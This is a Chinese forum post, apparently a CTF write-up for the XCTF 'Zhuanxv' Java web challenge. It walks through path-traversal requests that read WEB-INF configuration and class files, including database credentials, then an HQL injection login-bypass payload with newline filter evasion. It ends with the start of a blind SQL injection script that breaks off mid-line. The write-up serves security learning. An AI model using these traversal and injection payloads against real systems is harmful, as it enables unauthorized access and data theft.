一道入门的java安全题

打印 上一主题 下一主题

主题 841|帖子 841|积分 2523

【XCTF】Zhuanxv

收获


  • java题的一般流程
  • HQL注入
  • SQL注入
看题

<ul>目录扫描
dirsearch扫目录,发现list目录:
一个登录界面,本着尽量不写sql注入题目的原则(因为太菜了这方面,抓包查看代码:
js代码中为了加载图片直接写出了后台存储图像路径,那试试能不能通过这个url和参数直接读取源码。
读源码
先查看web.xml文件:
  1. http://61.147.171.105:54826/loadimage?fileName=../../WEB-INF/web.xml
复制代码
直接得到bg.jpg文件,更改其后缀为xml:
  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <web-app id="WebApp_9" version="2.4"
  3.          xmlns="http://java.sun.com/xml/ns/j2ee"
  4.          xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  5.          xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd">
  6.     <display-name>Struts Blank</display-name>
  7.     <filter>
  8.         <filter-name>struts2</filter-name>
  9.         <filter-class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter</filter-class>
  10.     </filter>
  11.     <filter-mapping>
  12.         <filter-name>struts2</filter-name>
  13.         <url-pattern>/*</url-pattern>
  14.     </filter-mapping>
  15.     <welcome-file-list>
  16.         <welcome-file>/ctfpage/index.jsp</welcome-file>
  17.     </welcome-file-list>
  18.     <error-page>
  19.         <error-code>404</error-code>
  20.         <location>/ctfpage/404.html</location>
  21.     </error-page>
  22. </web-app>
复制代码
这里可以看到是一个struts2框架,于是我们找一下strust.xml:
  1. http://61.147.171.105:54826/loadimage?fileName=../../WEB-INF/classes/strust.xml
复制代码
得到:
  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <!DOCTYPE struts PUBLIC
  3.         "-//Apache Software Foundation//DTD Struts Configuration 2.3//EN"
  4.         "http://struts.apache.org/dtds/struts-2.3.dtd">
  5. <struts>
  6.         <constant name="strutsenableDynamicMethodInvocation" value="false"/>
  7.     <constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
  8.     <constant name="struts.action.extension" value=","/>
  9.     <package name="front" namespace="/" extends="struts-default">
  10.         <global-exception-mappings>
  11.             <exception-mapping exception="java.lang.Exception" result="error"/>
  12.         </global-exception-mappings>
  13.         <action name="zhuanxvlogin"  method="execute">
  14.             <result name="error">/ctfpage/login.jsp</result>
  15.             <result name="success">/ctfpage/welcome.jsp</result>
  16.         </action>
  17.         <action name="loadimage" >
  18.             <result name="success" type="stream">
  19.                 <param name="contentType">image/jpeg</param>
  20.                 <param name="contentDisposition">attachment;filename="bg.jpg"</param>
  21.                 <param name="inputName">downloadFile</param>
  22.             </result>
  23.             <result name="suffix_error">/ctfpage/welcome.jsp</result>
  24.         </action>
  25.     </package>
  26.     <package name="back" namespace="/" extends="struts-default">
  27.         <interceptors>
  28.             <interceptor name="oa" />
  29.             <interceptor-stack name="userAuth">
  30.                 <interceptor-ref name="defaultStack" />
  31.                 <interceptor-ref name="oa" />
  32.             </interceptor-stack>
  33.         </interceptors>
  34.         <action name="list"  method="execute">
  35.             <interceptor-ref name="userAuth">
  36.                 <param name="excludeMethods">
  37.                     execute
  38.                 </param>
  39.             </interceptor-ref>
  40.             <result name="login_error">/ctfpage/login.jsp</result>
  41.             <result name="list_error">/ctfpage/welcome.jsp</result>
  42.             <result name="success">/ctfpage/welcome.jsp</result>
  43.         </action>
  44.     </package>
  45. </struts>
复制代码
为了登录,先查看com.cuitctf.action.UserLoginAction,其中因为.java文件在被编译后会成为.class文件,所以payload:
  1. http://61.147.171.105:57101/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/action/UserLoginAction.class
复制代码
看完之后发现也没有什么线索,这里引用了com.cuitctf.util.InitApplicationContext继续看一下:
  1. http://61.147.171.105:57101/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/util/InitApplicationContext.class
复制代码
反编译成Java文件后发现引用了applicationContext.xml,继续查看:
  1. http://61.147.171.105:57101/loadimage?fileName=../../WEB-INF/classes/applicationContext.xml
复制代码
源码:
  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <beans xmlns="http://www.springframework.org/schema/beans"
  3.        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  4.        xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  5.     <bean id="dataSource" >
  6.         <property name="driverClassName">
  7.             <value>com.mysql.jdbc.Driver</value>
  8.         </property>
  9.         <property name="url">
  10.             <value>jdbc:mysql://localhost:3306/sctf</value>
  11.         </property>
  12.         <property name="username" value="root"/>
  13.         <property name="password" value="root" />
  14.     </bean>
  15.     <bean id="sessionFactory" >
  16.         <property name="dataSource">
  17.             <ref bean="dataSource"/>
  18.         </property>
  19.         <property name="mappingLocations">
  20.             <value>user.hbm.xml</value>
  21.         </property>
  22.         <property name="hibernateProperties">
  23.             <props>
  24.                 <prop key="hibernate.dialect">org.hibernate.dialect.MySQLDialect</prop>
  25.                 <prop key="hibernate.show_sql">true</prop>
  26.             </props>
  27.         </property>
  28.     </bean>
  29.     <bean id="hibernateTemplate">
  30.         <property name="sessionFactory">
  31.             <ref bean="sessionFactory"/>
  32.         </property>
  33.     </bean>
  34.     <bean id="transactionManager" >
  35.         <property name="sessionFactory">
  36.             <ref bean="sessionFactory"/>
  37.         </property>
  38.     </bean>
  39.     <bean id="service"  abstract="true">
  40.         <property name="transactionManager">
  41.             <ref bean="transactionManager"/>
  42.         </property>
  43.         <property name="transactionAttributes">
  44.             <props>
  45.                 <prop key="add">PROPAGATION_REQUIRED</prop>
  46.                 <prop key="find*">PROPAGATION_REQUIRED,readOnly</prop>
  47.             </props>
  48.         </property>
  49.     </bean>
  50.     <bean id="userDAO" >
  51.         <property name="hibernateTemplate">
  52.             <ref bean="hibernateTemplate"/>
  53.         </property>
  54.     </bean>
  55.     <bean id="userService" >
  56.         <property name="userDao">
  57.             <ref bean="userDAO"/>
  58.         </property>
  59.     </bean>
  60. </beans>
复制代码
可以看到,这里是连接数据库的关键代码。看一下这些class文件:
  1. http://61.147.171.105:57101/loadimage?fileName=../../WEB-INF/user.hbm.xml
复制代码
user.hbm.xml源码:
  1. <?xml version="1.0"?>
  2. <!DOCTYPE hibernate-mapping PUBLIC
  3.         "-//Hibernate/Hibernate Mapping DTD 3.0//EN"
  4.         "http://hibernate.sourceforge.net/hibernate-mapping-3.0.dtd">
  5. <hibernate-mapping package="com.cuitctf.po">
  6.     <class name="User" table="hlj_members">
  7.         <id name="id" column="user_id">
  8.             <generator />
  9.         </id>
  10.         <property name="name"/>
  11.         <property name="password"/>
  12.     </class>
  13.     <class name="Flag" table="bc3fa8be0db46a3610db3ca0ec794c0b">
  14.         <id name="flag" column="welcometoourctf">
  15.             <generator />
  16.         </id>
  17.         <property name="flag"/>
  18.     </class>
  19. </hibernate-mapping>
复制代码
UserDaoImpl.class:
  1. package com.cuitctf.dao.impl;
  2. import com.cuitctf.dao.UserDao;
  3. import com.cuitctf.po.User;
  4. import java.util.List;
  5. import org.springframework.orm.hibernate3.support.HibernateDaoSupport;
  6. public class UserDaoImpl extends HibernateDaoSupport implements UserDao {
  7.     public UserDaoImpl() {
  8.     }
  9.     public List<User> findUserByName(String name) {
  10.         return this.getHibernateTemplate().find("from User where name ='" + name + "'");
  11.     }
  12.     public List<User> loginCheck(String name, String password) {
  13.         return this.getHibernateTemplate().find("from User where name ='" + name + "' and password = '" + password + "'");
  14.     }
  15. }
复制代码
利用
看了一眼wp,这里是一个HQL注入,其实和SQL注入类似,payload:
  1. from User where name ='admin' or '1'>'0' or name like 'admin' and password = '" + password + "'
复制代码
这里使用'1'>'0'的逻辑绕过万能密码。因为代码中过滤了空格和等号,所以需要用ascii码绕过,并且使用换行代替被过滤的空格。
  1. admin'%0Aor%0A'1'>'0'%0Aor%0Aname%0Alike%0A'admin
复制代码
登录时,password随便设,同时这里需要使用Get方法提交,直接在网页上输入是POST方法,网页没反应。

虽然登录成功,但是没有FLAG,所以需要根据user.hbm.xml的提示信息进行sql注入。
注入
贴上大佬的盲注脚本:
[code]import requestss = requests.session()flag = ''for i in range(1, 50):    p = ''    for j in range(1, 255):        # (select ascii(substr(id, "+str(i)+", 1)) from Flag where id < 2) < '        payload = "(select%0Aascii(substr(id," + str(i) + ",1))%0Afrom%0AFlag%0Awhere%0Aid

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

正序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

涛声依旧在

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表